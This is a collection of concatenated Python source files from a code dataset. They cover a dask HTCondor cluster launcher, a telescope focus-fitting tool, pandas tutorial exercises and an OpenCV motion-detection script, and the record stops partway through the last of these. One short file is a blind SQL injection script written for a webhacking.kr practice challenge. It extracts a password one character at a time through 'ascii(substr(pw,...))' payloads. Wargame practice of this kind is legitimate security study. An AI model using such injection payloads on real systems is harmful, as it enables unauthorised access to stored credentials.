0.721569, 1.]])\n self.assertEqual(edges.get_facecolors(), colors)\n\n","sub_path":"tests/testmplgraphs.py","file_name":"testmplgraphs.py","file_ext":"py","file_size_in_byte":7708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"88861345","text":"\"\"\"\nMake dask workers using condor\n\"\"\"\nfrom __future__ import division, print_function\n\n\nimport atexit\nimport logging\nimport time\n\nimport distributed\nimport tornado\n\nimport htcondor\nimport classad\n\n\nlogger = logging.getLogger(__name__)\n\nJOB_TEMPLATE = dict(\n Executable=\"/usr/bin/dask-worker\",\n Universe=\"vanilla\",\n Output=\"worker-$(ClusterId).$(ProcId).out\",\n Error=\"worker-$(ClusterId).$(ProcId).err\",\n Log=\"worker-$(ClusterId).$(ProcId).log\",\n)\n\nJOB_STATUS_IDLE = 1\nJOB_STATUS_RUNNING = 2\nJOB_STATUS_HELD = 5\n\n_global_schedulers = [] # (scheduler_id, schedd)\n\n@atexit.register\ndef global_killall():\n for sid, schedd in _global_schedulers:\n condor_rm(schedd, 'DaskSchedulerId == \"%s\"' % sid)\n\n\ndef worker_constraint(jobid):\n clusterid, procid = jobid.split('.', 1)\n return '(ClusterId == %s && ProcId == %s)' % (clusterid, procid)\n\n\ndef or_constraints(constraints):\n return '(' + ' || '.join(constraints) + ')'\n\n\ndef workers_constraint(jobids):\n return or_constraints([worker_constraint(jid) for jid in jobids])\n\n\ndef reserved_memory_per_worker(procs_per_worker):\n # based on observations on Python 2.7 on 64-bit SLF 7 using HTCondor's\n # report of MemoryUsage:\n\n # nprocs nanny? MemoryUsage\n # ------ ------ -----------\n # 1 no 20\n # 2 yes 34\n # 3 yes 40\n # 4 yes 47\n # 5 yes 57\n # 6 yes 64\n # 7 yes 71\n # 8 yes 80\n base_usage = 10\n per_proc_usage = 10\n nanny_usage = 4\n\n reserved = (\n base_usage +\n ((nanny_usage + per_proc_usage * procs_per_worker)\n if procs_per_worker > 1 else\n per_proc_usage))\n\n return int(reserved * 1.1) # add 10% slop\n\n\ndef condor_rm(schedd, job_spec):\n return schedd.act(htcondor.JobAction.Remove, job_spec)\n\n\nclass HTCondorCluster(object):\n def __init__(self,\n memory_per_worker=1024,\n procs_per_worker=1,\n pool=None,\n reserved_memory=None,\n schedd_name=None,\n threads_per_worker=1,\n cleanup_interval=1000,\n worker_timeout=(24 * 60 * 60),\n **kwargs):\n\n global _global_schedulers\n\n if schedd_name is None:\n self.schedd = htcondor.Schedd()\n else:\n collector = htcondor.Collector(pool)\n self.schedd = htcondor.Schedd(\n collector.locate(\n htcondor.DaemonTypes.Schedd,\n schedd_name))\n\n self.local_cluster = distributed.LocalCluster(ip='', n_workers=0,\n **kwargs)\n\n _global_schedulers.append((self.scheduler.id, self.schedd))\n\n self.jobs = {} # {jobid: CLASSAD}\n if cleanup_interval < 1:\n raise ValueError(\"cleanup_interval must be >= 1\")\n self._cleanup_callback = tornado.ioloop.PeriodicCallback(\n callback=self.cleanup_jobs,\n callback_time=cleanup_interval,\n io_loop=self.scheduler.loop)\n self._cleanup_callback.start()\n\n self.memory_per_worker = memory_per_worker\n self.procs_per_worker = procs_per_worker\n self.threads_per_worker = threads_per_worker\n self.reserved_memory = reserved_memory\n self.worker_timeout = worker_timeout\n\n @tornado.gen.coroutine\n def _start(self):\n pass\n\n @property\n def scheduler(self):\n return self.local_cluster.scheduler\n\n @property\n def scheduler_address(self):\n return self.scheduler.address\n\n @property\n def jobids(self):\n return self.jobs.keys()\n\n @property\n def scheduler_constraint(self):\n return '(DaskSchedulerId == \"%s\")' % self.scheduler.id\n\n def start_workers(self,\n n=1,\n memory_per_worker=None,\n procs_per_worker=None,\n reserved_memory=None,\n threads_per_worker=None,\n worker_timeout=None,\n extra_attribs=None):\n\n if n < 1:\n raise ValueError(\"n must be >= 1\")\n\n memory_per_worker = memory_per_worker or self.memory_per_worker\n if memory_per_worker < 1:\n raise ValueError(\"memory_per_worker must be >= 1 (MB)\")\n procs_per_worker = procs_per_worker or self.procs_per_worker\n if procs_per_worker < 1:\n raise ValueError(\"procs_per_worker must be >= 1\")\n threads_per_worker = threads_per_worker or self.threads_per_worker\n if threads_per_worker < 1:\n raise ValueError(\"threads_per_worker must be >= 1\")\n reserved_memory = (reserved_memory or self.reserved_memory\n or reserved_memory_per_worker(procs_per_worker))\n if not (0 <= reserved_memory < memory_per_worker):\n raise ValueError(\n \"reserved_memory (%d) must be between 0 (MB) and memory_per_worker (%d)\"\n % (reserved_memory, memory_per_worker))\n memory_limit = memory_per_worker - reserved_memory\n worker_timeout = worker_timeout or self.worker_timeout\n if worker_timeout < 1:\n raise ValueError(\"worker_timeout must be >= 1 (sec)\")\n\n job = htcondor.Submit(JOB_TEMPLATE)\n args = [self.scheduler_address]\n args.append('--nprocs %d' % procs_per_worker)\n args.append('--nthreads %d' % threads_per_worker)\n request_cpus = procs_per_worker * threads_per_worker\n if procs_per_worker > 1:\n # the nanny takes up a core too\n request_cpus += 1\n else:\n args.append('--no-nanny')\n # can only use --name if --nprocs=1\n worker_name = \"htcondor-$(ClusterId).$(ProcId)\"\n args.append('--name=' + worker_name)\n # when I tried +DaskWorkerName, then $(ClusterId) and $(ProcId) didn't\n # get expanded (GT #6219)\n job['MY.DaskWorkerName'] = '\"' + worker_name + '\"'\n\n args.append('--memory-limit=%de6' % memory_limit)\n\n args.append('--no-bokeh')\n\n job['Arguments'] = ' '.join(args)\n job['RequestMemory'] = \"%d MB\" % memory_per_worker\n job['RequestCpus'] = str(request_cpus)\n job['+DaskSchedulerId'] = '\"' + self.scheduler.id + '\"'\n\n job['Periodic_Hold'] = \"(time() - JobStartDate) > %d\" % (\n worker_timeout)\n job['Periodic_Hold_Reason'] = '\"dask-worker max lifetime %d min\"' % (\n worker_timeout // 60)\n\n if extra_attribs:\n job.update(extra_attribs)\n\n with self.schedd.transaction() as txn:\n classads = []\n clusterid = job.queue(txn, count=n, ad_results=classads)\n logger.info(\"Started clusterid %s with %d jobs\" % (clusterid, n))\n logger.debug(\n \"RequestMemory = %s; RequestCpus = %s\"\n % (job['RequestMemory'], job['RequestCpus']))\n for ad in classads:\n self.jobs[\"%s.%s\" % (ad['ClusterId'], ad['ProcId'])] = ad\n\n def killall(self):\n condor_rm(self.schedd, self.scheduler_constraint)\n\n def submit_worker(self, **kwargs):\n return self.start_workers(n=1, **kwargs)\n\n def stop_workers(self, worker_ids):\n if isinstance(worker_ids, str):\n worker_ids = [worker_ids]\n\n constraint = '%s && %s' % (\n self.scheduler_constraint,\n workers_constraint(worker_ids)\n )\n\n condor_rm(self.schedd, constraint)\n\n def cleanup_jobs(self):\n active_jobids = \\\n ['%s.%s' % (ad['ClusterId'], ad['ProcId'])\n for ad in self.schedd.query(\n self.scheduler_constraint,\n ['ClusterId', 'ProcId', 'JobStatus'])\n if ad['JobStatus'] in (\n JOB_STATUS_IDLE,\n JOB_STATUS_RUNNING,\n JOB_STATUS_HELD)]\n for jobid in self.jobids:\n if jobid not in active_jobids:\n del self.jobs[jobid]\n\n def close(self):\n self.killall()\n self.local_cluster.close()\n\n def __del__(self):\n self.close()\n\n def __enter__(self):\n return self\n\n def __exit__(self, *args):\n self.close()\n\n def __str__(self):\n return \"<%s: %d workers>\" % (self.__class__.__name__, len(self.jobids))\n\n __repr__ = __str__\n\n","sub_path":"dask_condor/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"108284516","text":"from astropy.io import fits\nimport os\nimport numpy as np\nimport sep\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Ellipse\nimport sys\nimport math \n\ndef printv(msg, verbose=False):\n\tif verbose:\n\t\tprint(msg)\n\nclass shiftobjs:\n\tdef __init__(self):\n\t\tself.avgx = 0.0\n\t\tself.avgy = 0.0\n\t\tself.objs = []\n\n\tdef addobjs(self, common_objects, focpos, focalshift, data_sub):\n\t\tcommon_objects = sorted(common_objects, key=lambda x: x['y'], reverse=False)\n\t\tfor f in common_objects:\n\t\t\t#focusparam = sep.flux_radius(data_sub, f['x'], f['y'] ,100, 0.8)[0]\n\t\t\tfocusparam = 2 * math.sqrt(math.log(2) * (f['a']**2 + f['b']**2))\n\t\t\tself.objs.append(focobj(f['x'], f['y'], f['a'], f['b'], focpos, focusparam, f['theta']))\n\t\t\tfocpos = focpos + focalshift\n\t\tself.avgx = np.mean([x.x for x in self.objs])\n\t\tself.avgy = np.mean([x.y for x in self.objs])\n\nclass focobj:\n\tdef __init__(self, x, y, a, b, focval, fwhm, theta):\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.a = a\n\t\tself.b = b\n\t\tself.theta = theta\n\t\tself.focval = focval\n\t\tself.fwhm = fwhm\n\ndef resetplt(data_sub):\n\tfig, ax = plt.subplots()\n\tm, s = np.mean(data_sub), np.std(data_sub)\n\tim = ax.imshow(data_sub, interpolation='nearest', cmap='gray', vmin=m-s, vmax=m+s, origin='lower')\n\treturn fig, ax, im\n\ndef plotgroup(data_sub, common_objects):\n\tfig, ax, im = resetplt(data_sub)\t\t\t\n\tfor f in common_objects:\n\t\te = Ellipse(xy=(f['x'], f['y']),\n\t\t\twidth=6*f['a'],\n\t\t\theight=6*f['b'],\n\t\t\tangle=f['theta']*180./np.pi)\n\t\te.set_facecolor('none')\n\t\te.set_edgecolor('red')\n\t\n\t\tax.add_artist(e)\n\tplt.show()\n\ndef plotfocalfit(x_interp, y_interp, minfoc, miny_ind, focs, fwhms):\n\tplt.plot(x_interp, y_interp, \"-r\")\n\tplt.scatter([minfoc],[y_interp[miny_ind]], c=\"green\")\n\t\t#except:\n\t\t\t#print \"Unable to find minimum\"\n\tplt.scatter(focs, fwhms)\n\tplt.show()\n\ndef notalreadyadded(shiftobjects, shifts):\n\tfor f in shifts:\n\t\tif abs(f.avgx - shiftobjects.avgx) < 5 and abs(f.avgy - shiftobjects.avgy) < 5:\n\t\t\treturn False\n\treturn True\n\ndef remove_bad_points(focs, fwhms):\n\tnpoints = len(focs)\n\tnremoved = npoints\n\twhile nremoved > 0:\n\t\tprint( nremoved )\n\t\ta = np.polyfit(focs[:], fwhms[:], 2)\n\t\tb = np.poly1d(a)\n\t\tx_interp = np.arange(focs[0],focs[len(focs)-1], 0.001)\n\t\ty_interp = b(x_interp)\n\n\t\tminy_ind = list(y_interp).index(min(y_interp))\n\t\tminfoc = x_interp[miny_ind]\n\n\n\t\tplt.plot(x_interp, y_interp, \"-r\")\n\t\tplt.scatter([minfoc],[y_interp[miny_ind]], c=\"green\")\n\t\t\t#except:\n\t\t\t\t#print \"Unable to find minimum\"\n\t\tplt.scatter(focs, fwhms)\n\t\tplt.show()\n\n\t\tresiduals = []\n\t\tfor fw in fwhms:\n\t\t\tyval = min([abs(fw - y) for y in list(y_interp)])\n\t\t\tresiduals.append(abs(fw-yval))\n\t\tres_mean, res_std = np.mean(residuals), np.std(residuals)\n\t\tprint( res_mean, res_std )\n\t\tpopps = [kk for kk,res in enumerate(residuals) if abs(res-res_mean) > 1.7*res_std]\n\t\tfor aa,p in enumerate(popps):\n\t\t\tprint( \"removing point\", p )\n\t\t\tfocs.pop(p-aa)\n\t\t\tfwhms.pop(p-aa)\n\t\tnremoved = len(popps)\n\treturn focs, fwhms\n\ndef test_positions(group, nshifty):\n\t#this will make sure that the group is in the correct offset.\n\t#making sure that it doesn't grab any thing that might be in the same column\n\tgroup = sorted(group, key=lambda x: x['y'], reverse=False)\n\toffsets = [abs(group[ii-1]['y'] - group[ii]['y']) for ii in range(1, len(group))]\n\tavgoffset = np.mean(offsets[0:len(offsets)-1])\n\tlastoffset = np.mean(offsets[len(offsets)-1:len(offsets)])/2.0\n\treturn (abs(nshifty-avgoffset) < 5 and abs(nshifty-lastoffset) < 5)\n\t\t\n\ndef filter_blended(group):\n\t#print len(group)\n\tgroup = sorted(group, key=lambda x: x['y'], reverse=False)\n\toffsets = [abs(group[ii-1]['y'] - group[ii]['y']) for ii in range(1, len(group))]\n\tavgoffset = np.mean(offsets[0:len(offsets)-1])\n\tavgoffset_std = np.std(offsets[0:len(offsets)-1])\n\t\n\tpopps = []\n\tg_before = group[0]\n\n\tfor ii in range(1, len(group)):\n\t\tg = group[ii]\n\t\tseperation = abs(g_before['y'] - g['y'])\n\t\tif seperation < 0.5*avgoffset:\n\t\t\tpopps.append(ii-1)\n\t\t\tnewy = 0.5*(g_before['y'] + g['y'])\n\t\t\tg['y'] = newy\n\t\tg_before = g\n\n\tfor aa,p in enumerate(popps):\t\n\t\tgroup.pop(p-aa)\n\treturn group\n\nclass focalfit:\n\n\tdef __init__(self, img, \n\t\t\t\t\t object_err_thresh=10, \n\t\t\t\t\t object_minarea=2,\n\t\t\t\t\t ellipticity_thresh=0.9,\n\t\t\t\t\t deblend_cont=0.001,\n\t\t\t\t\t plotimages = False,\n\t\t\t\t\t thinking = False,\n\t\t\t\t\t verbose = False):\n\n\t\tself.img = img\n\n\t\tself.object_err_thresh = object_err_thresh\n\n\t\tself.object_minarea = object_minarea\n\n\t\tself.ellipticity_thresh = ellipticity_thresh\n\n\t\tself.deblend_cont = deblend_cont\n\n\t\tself.thinking = thinking\n\n\t\tself.plotimages = plotimages\n\n\t\tself.verbose = verbose\n\n\t\tself.flags = []\n\n\n\tdef run(self):\n\t\thdu = fits.open(self.img)\n\t\thdr = hdu[0].header\n\t\tdata = np.asarray(hdu[1].data, dtype=np.int32)\n\t\tfocalval = float(hdr['FOC_POS'])\n\t\tfocalshift = float(hdr['SHIFT_FO'])\n\t\tpixelshift = int(hdr['SHIFT_PX'])\n\t\tnshifts = int(hdr['SHIFT_N'])\n\t\tbinx, biny = int(hdr['CCDBIN1']), int(hdr['CCDBIN2'])\n\n\t\tnshift_y = (pixelshift/float(biny))\n\t\tshift_y = (nshifts*(pixelshift/float(biny)))+100\n\t\tshift_x = 5#pixelshift/binx\n\n\t\t#print shift_y, shift_x\n\t\tbkg = sep.Background(data, bw=64, bh=64, fw=3, fh=3)\n\t\tbkg_image = bkg.back()\n\t\tbkg_rms = bkg.rms()\n\t\tdata_sub = data - bkg\n\t\t#objects = sep.extract(data_sub, self.object_err_thresh, \n\t\t#\t\t\t\t\t\t\t\terr=bkg.globalrms, \n\t\t#\t\t\t\t\t\t\t\tminarea=self.object_minarea,\n\t\t#\t\t\t\t\t\t\t\tfilter_kernel=None,\n\t\t#\t\t\t\t\t\t\t\tdeblend_cont=self.deblend_cont)\n\n\t\tobjects = sep.extract(data_sub, 5.0, \n\t\t\t\t\t\t\t\t\t\terr=bkg.globalrms, \n\t\t\t\t\t\t\t\t\t\tminarea=5,\n\t\t\t\t\t\t\t\t\t\tfilter_kernel=None,\n\t\t\t\t\t\t\t\t\t\tdeblend_cont=0.0001,\n\t\t\t\t\t\t\t\t\t\tdeblend_nthresh=10)\n\n\t\t#There is a bad pixel at like 275. Remove all objects along it.\n\t\t#objects = [o for o in objects if abs(o['x'] - 275) > 1]\n\t\t#ellipticity culling\n\t\tobjects = [o for o in objects if math.sqrt(1 - (o['b']*o['b'])/(o['a']*o['a'])) < self.ellipticity_thresh]\n\n\t\tif self.plotimages:\n\t\t\tplotgroup(data_sub, objects)\n\n\t\tgroups, fwhm_av = [], []\n\n\t\tfor o in objects:\n\t\t\tox = o['x']\n\t\t\toy = o['y']\n\n\t\t\t#initialize a shiftobs class\t\n\t\t\tshiftobjects = shiftobjs()\n\t\t\t#find objects along the same line\n\t\t\tcommon_objects = [x for x in objects if abs(x['x'] - ox) < shift_x and abs(x['y']-oy) < shift_y]\n\t\t\t#we only want groupings that have the same number of shifts\n\t\t\tif len(common_objects) > nshifts:\n\t\t\t\tcommon_objects = filter_blended(common_objects)\n\t\t\tif len(common_objects) == nshifts:\n\t\t\t\t#add the objects and calculate the fwhm parameter for each, along with incrementing the focal position value\n\t\t\t\tshiftobjects.addobjs(common_objects, focalval, focalshift, data_sub)\n\t\t\t\t#test if it has already been added\n\t\t\t\tif notalreadyadded(shiftobjects, groups)and test_positions(common_objects, nshift_y):\n\t\t\t\t\tgroups.append(shiftobjects)\n\n\t\t\t\t\tif self.plotimages:\n\t\t\t\t\t\tplotgroup(data_sub, common_objects)\n\n\t\t\t\t\t#grab the focal positions and fwhm parameters\n\t\t\t\t\tfocs = [x.focval for x in shiftobjects.objs]\n\t\t\t\t\tfwhms = [x.fwhm for x in shiftobjects.objs]\n\n\t\t\t\t\tif self.thinking:\n\t\t\t\t\t\tfocs, fwhms = remove_bad_points(focs, fwhms)\n\n\t\t\t\t\t#calculate the 2d polynomial interpretation\n\t\t\t\t\ta = np.polyfit(focs, fwhms, 2)\n\t\t\t\t\tb = np.poly1d(a)\n\t\t\t\t\tx_interp = np.arange(focs[0],focs[len(focs)-1], 0.001)\n\t\t\t\t\ty_interp = b(x_interp)\n\t\t\t\t\t#find the minimum\n\t\t\t\t\tminy_ind = list(y_interp).index(min(y_interp))\n\t\t\t\t\tminfoc = x_interp[miny_ind]\n\n\t\t\t\t\t#test to see if the minimum is on either of the low ends\n\t\t\t\t\t#if either is true, it didn't go through the focus\n\t\t\t\t\txmin, xmax = min(x_interp), max(x_interp)\n\n\t\t\t\t\t#test concavity as well -> we want concave up -> second derivative > 0\n\t\t\t\t\tfirstorder = np.diff(list(y_interp))\n\t\t\t\t\tsecondorder = np.diff(firstorder)\n\t\t\t\t\tconcave_up = np.mean(secondorder) >= 0\n\n\t\t\t\t\t#if not concave_up:\n\t\t\t\t\t\t#printv(\"CONCAVE DOWN\", self.verbose)\n\n\t\t\t\t\tif self.plotimages:\n\t\t\t\t\t\tplotfocalfit(x_interp, y_interp, minfoc, miny_ind, focs, fwhms)\n\n\t\t\t\t\tif minfoc < (xmin + 0.125*(xmax-xmin)):\n\t\t\t\t\t\tprintv(\"bad fit data. lowend\", self.verbose)\n\t\t\t\t\t\tself.flags.append(1)\n\t\t\t\t\telif minfoc > (xmin + 0.875*(xmax-xmin)):\n\t\t\t\t\t\tprintv(\"bad fit data. high end\", self.verbose)\n\t\t\t\t\t\tself.flags.append(2)\n\t\t\t\t\telif not concave_up:\n\t\t\t\t\t\tprintv(\"concave down!\", self.verbose)\n\t\t\t\t\t\tself.flags.append(3)\n\t\t\t\t\telse:\n\t\t\t\t\t\tfwhm_av.append(minfoc)\n\t\t\t\t\t\tself.flags.append(0)\n\n\t\tif len(fwhm_av) != 0:\n\t\t\treturn np.mean(fwhm_av)\n\t\telse:\n\t\t\treturn focalval\n\n#psuedo code\n#define files\n#loop over files\n#\topen fits image\n#\tlocate sources\n#\tfind sources that are in the same line vertically\n#\tgroup them\n#\tloop over them\n#\t\tanalyze their FWHM \n#\t\tplot FWHM vs focal position\n#\t\tplot a curve to it\n#\t\tfind minimum\n#\t\tstore in array\n#return average minimum?\n\t\n\n","sub_path":"rts2solib/analyzefocus.py","file_name":"analyzefocus.py","file_ext":"py","file_size_in_byte":8606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"330971082","text":"import urllib.request\nfrom urllib.parse import quote\n\nkey = \"\"\nfor i in range(1, 20):\n for j in range(32, 127):\n url = \"http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=\"\n data = \"2 and ascii(substr(pw,{},1))={}\".format(\n str(i),j)\n print(url + data)\n data = quote(data)\n re = urllib.request.Request(url + data)\n\n re.add_header(\n \"User-agent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\")\n re.add_header(\n \"Cookie\", \"PHPSESSID=\"\n )\n\n req = urllib.request.urlopen(re)\n\n if str(req.read()).find(\"True\") != -1:\n key += chr(j).lower()\n print(key)\n break\nprint(key)","sub_path":"Webhacking.kr/src/prob_21.py","file_name":"prob_21.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"410799675","text":"import pandas as pd \n\n#THE SERIES DATA STRUCTURE\nanimals=['Tiger','Bear',None]\nprint (pd.Series(animals))\n\nnumbers = [1, 2, None]\nprint (pd.Series(numbers))\n\nimport numpy as np \nprint(np.nan==None) \nprint(np.nan==np.nan) \nprint(np.isnan(np.nan))\n\nsports = {'Archery': 'Bhutan',\n 'Golf': 'Scotland',\n 'Sumo': 'Japan',\n 'Taekwondo': 'South Korea'}\ns = pd.Series(sports)\nprint(s) \nprint(s.index)\n\ns = pd.Series(['Tiger', 'Bear', 'Moose'], index=['India', 'America', 'Canada'])\nprint(s)\n\nsports = {'Archery': 'Bhutan',\n 'Golf': 'Scotland',\n 'Sumo': 'Japan',\n 'Taekwondo': 'South Korea'}\ns = pd.Series(sports, index=['Golf', 'Sumo', 'Hockey'])\nprint(s)\n\n#QUERYING A SERIES \nsports = {'Archery': 'Bhutan',\n 'Golf': 'Scotland',\n 'Sumo': 'Japan',\n 'Taekwondo': 'South Korea'}\ns = pd.Series(sports)\nprint(s)\n\nprint(s.iloc[3])\nprint(s.loc['Golf'])\nprint(s[3])\nprint(s['Golf'])\n\n\nsports = {99: 'Bhutan',\n 100: 'Scotland',\n 101: 'Japan',\n 102: 'South Korea'}\ns = pd.Series(sports)\n#print(s[0]) #This won't call s.iloc[0] as one might expect, it generates an error instead\n\ns = pd.Series([100.00, 120.00, 101.00, 3.00])\nprint(s)\n\ntotal=0\nfor item in s:\n total+=item\nprint(total)\n\ntotal=np.sum(s)\nprint(total)\n\n#this creates a big series of random numbers\ns=pd.Series(np.random.randint(0,1000,10000))\nprint(s.head())\nprint(len(s))\n\n'''\n%%timeit -n 100\nsummary = 0\nfor item in s:\n summary+=item\n\n%%timeit -n 100\nsummary = np.sum(s)\n'''\ns+=2 #adds two to each item in s using broadcasting\n\nprint(len(s))\n\nfor label, value in s.iteritems():\n s.set_value(label, value+2)\nprint(s.head())\n\n'''\n%%timeit -n 10\ns = pd.Series(np.random.randint(0,1000,10000))\nfor label, value in s.iteritems():\n s.loc[label]= value+2\n\n%%timeit -n 10\ns = pd.Series(np.random.randint(0,1000,10000))\ns+=2\n'''\ns = pd.Series([1, 2, 3])\ns.loc['Animal'] = 'Bears'\nprint(s)\n\noriginal_sports = pd.Series({'Archery': 'Bhutan',\n 'Golf': 'Scotland',\n 'Sumo': 'Japan',\n 'Taekwondo': 'South Korea'})\ncricket_loving_countries = pd.Series(['Australia',\n 'Barbados',\n 'Pakistan',\n 'England'], \n index=['Cricket',\n 'Cricket',\n 'Cricket',\n 'Cricket'])\nall_countries = original_sports.append(cricket_loving_countries)\n\nprint(original_sports)\nprint(cricket_loving_countries)\nprint(all_countries)\nprint(all_countries.loc['Cricket'])\n\n#THE DATAFRAME DATA STRUCTURE\nimport pandas as pd\npurchase_1 = pd.Series({'Name': 'Chris',\n 'Item Purchased': 'Dog Food',\n 'Cost': 22.50})\npurchase_2 = pd.Series({'Name': 'Kevyn',\n 'Item Purchased': 'Kitty Litter',\n 'Cost': 2.50})\npurchase_3 = pd.Series({'Name': 'Vinod',\n 'Item Purchased': 'Bird Seed',\n 'Cost': 5.00})\n \ndf=pd.DataFrame([purchase_1,purchase_2,purchase_3],index=['Store 1','Store 2','Store 3'])\n\nprint(df)\nprint(df.loc['Store 2'])\nprint(type(df.loc['Store 2']))\nprint(df.loc['Store 1'])\nprint(df.loc['Store 1','Cost'])\nprint(df.T)\nprint(df.T.loc['Cost'])\nprint(df['Cost'])\nprint(df.loc['Store 1']['Cost'])\nprint(df.loc[:,['Name','Cost']])\nprint(df.drop('Store 1'))\nprint(df)\n\ncopy_df=df.copy()\ncopy_df=copy_df.drop('Store 1')\nprint(copy_df)\n\ndel copy_df['Name']\nprint(copy_df)\n\ndf['Location']=None \nprint(df)\n#DATAFRAME INDEXING AND LOADING\ncosts=df['Cost']\nprint(costs)\ncosts+=2\nprint(df)\n\n#!cat olympics.csv\n\ndf = pd.read_csv('olympics.csv')\nprint(df.head())\n\ndf = pd.read_csv('olympics.csv', index_col = 0, skiprows=1)\nprint(df.head())\n\nprint(df.columns)\n\nfor col in df.columns:\n if col[:2]=='01':\n df.rename(columns={col:'Gold' + col[4:]}, inplace=True)\n if col[:2]=='02':\n df.rename(columns={col:'Silver' + col[4:]}, inplace=True)\n if col[:2]=='03':\n df.rename(columns={col:'Bronze' + col[4:]}, inplace=True)\n if col[:1]=='№':\n df.rename(columns={col:'#' + col[1:]}, inplace=True) \n\nprint(df.head())\n\n#QUERYING A DATAFRAME\n\nprint(df['Gold']>0)\n\nonly_gold=df.where(df['Gold']>0)\nprint(only_gold.head())\nprint(only_gold['Gold'].count())\nprint(df['Gold'].count())\nonly_gold=only_gold.dropna()\nprint(only_gold.head())\n\nonly_gold = df[df['Gold'] > 0]\nprint(only_gold.head())\n\nprint(len(df[(df['Gold']>0|df['Gold.1']>0) ]))\nprint(df[(df['Gold.1']>0)&(df['Gold']==0)])\n\n#INDEXING DATAFRAMES\n\nprint(df.head())\ndf['country']=df.index \ndf=df.set_index('Gold')\nprint(df.head())\n\ndf=df.reset_index()\nprint(df.head())\n\ndf = pd.read_csv('census.csv')\nprint(df.head())\n\nprint(df['SUMLEV'].unique())\n\ndf=df[df['SUMLEV'] == 50]\nprint(df.head())\n\ncolumns_to_keep = ['STNAME',\n 'CTYNAME',\n 'BIRTHS2010',\n 'BIRTHS2011',\n 'BIRTHS2012',\n 'BIRTHS2013',\n 'BIRTHS2014',\n 'BIRTHS2015',\n 'POPESTIMATE2010',\n 'POPESTIMATE2011',\n 'POPESTIMATE2012',\n 'POPESTIMATE2013',\n 'POPESTIMATE2014',\n 'POPESTIMATE2015']\ndf = df[columns_to_keep]\nprint(df.head())\n\ndf = df.set_index(['STNAME', 'CTYNAME'])\nprint(df.head())\nprint(df.loc['Michigan','Washtenaw County'])\nprint(df.loc[ [('Michigan', 'Washtenaw County'),\n ('Michigan', 'Wayne County')] ])\n \n#MISSING VALUES\ndf = pd.read_csv('log.csv')\nprint(df)\n\nimport pandas as pd\n#pd.Series?\n#df.fillna?\n\ndf = df.set_index('time')\ndf = df.sort_index()\nprint(df)\n\ndf=df.reset_index()\ndf=df.set_index(['time','user'])\nprint(df)\n\ndf=df.fillna(method='ffill')\nprint(df.head())\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"pandas.py","file_name":"pandas.py","file_ext":"py","file_size_in_byte":6014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"262454574","text":"#!/usr/bin/env python\r\n#\r\n# Text script for OpenCV-python script\r\n#\r\n# Script opens a camera as video source and starts\r\n# reading frames and display then in a window called 'cam'\r\n#\r\n# This sample script is part of the cource cloudification.\r\n# \r\n\r\n\r\nimport time\r\nimport tempfile\r\nimport os\r\nimport argparse\r\n\r\nimport numpy as np\r\nimport cv2\r\nstart = time.monotonic() * 1000\r\nmoving = False\r\n\r\n\r\n# construct the argument parser and parse the arguments\r\nap = argparse.ArgumentParser()\r\nap.add_argument(\"-v\", \"--video\", \r\n help=\"path to the video file\")\r\nap.add_argument(\"-t\", \"--timeout\", type=int, default=100, \r\n help=\"time out\")\r\nap.add_argument(\"-c\", \"--chainlength\", type=int, default=5, \r\n help=\"threshold for still image\")\r\nap.add_argument(\"-l\", \"--lowerbound\", type=int, default=5000, \r\n help=\"threshold for still image\")\r\nap.add_argument(\"-u\", \"--upperbound\", type=int, default=10000, \r\n help=\"threshold for action image\")\r\n\r\nargs = None\r\ntry:\r\n args = vars(ap.parse_args())\r\nexcept:\r\n parser.print_help()\r\n sys.exit(0)\r\n\r\ntimed = False\r\nif args.get(\"video\", None) is None:\r\n cap = cv2.VideoCapture(0)\r\n time.sleep(0.25)\r\n timed = True\r\n# otherwise, we are reading from a video file\r\nelse:\r\n cap = cv2.VideoCapture(args[\"video\"])\r\n timed = False\r\n\r\ntimeout = args[\"timeout\"]\r\nchainlength = args[\"chainlength\"]\r\nlowerbound = args[\"lowerbound\"]\r\nupperbound = args[\"upperbound\"]\r\n\r\nprint (\"Starting with timeout ......: \", timeout)\r\nprint (\"Starting with chainlength ..: \", chainlength)\r\nprint (\"Starting with lowerbound: ..: \", lowerbound)\r\nprint (\"Starting with upperbound: ..: \", upperbound)\r\n\r\n\r\nframechain = []\r\n# Generate video source by opening first source of system\r\n# cap = cv2.VideoCapture(0)\r\ntmpFolder = tempfile.mkdtemp();\r\ntmpFileCounter = 0\r\n\r\nprint (\"Tempfolder for this session is \" + tmpFolder)\r\nos.startfile(tmpFolder)\r\n\r\nwhile(True):\r\n # Capture frame-by-frame\r\n ret, frame = cap.read()\r\n \r\n # Check for initialisation error\r\n if not ret:\r\n print (\"Init error\")\r\n break\r\n # Display the resulting frame\r\n cv2.imshow('cam',frame)\r\n\r\n step1 = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n cv2.imshow('step1',step1)\r\n\r\n step2 = cv2.GaussianBlur(step1, (21, 21), 0)\r\n cv2.imshow('step2',step2)\r\n\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n \r\n if timed :\r\n if (time.monotonic()*1000 - start) < timeout :\r\n continue\r\n else:\r\n for i in range (0, round (25 * (timeout / 1000))):\r\n cap.read()\r\n start = time.monotonic()*1000\r\n framechain.append(step2)\r\n if len(framechain) < chainlength:\r\n print('.\\a', end='', flush=True)\r\n continue\r\n\r\n oldframe = framechain.pop(0)\r\n cv2.imshow('oldframe',oldframe)\r\n frameDelta = cv2.absdiff(oldframe, step2)\r\n cv2.imshow('frameDelta',frameDelta)\r\n thresh = cv2.threshold(frameDelta, 25, 255, cv2.THRESH_BINARY)[1]\r\n 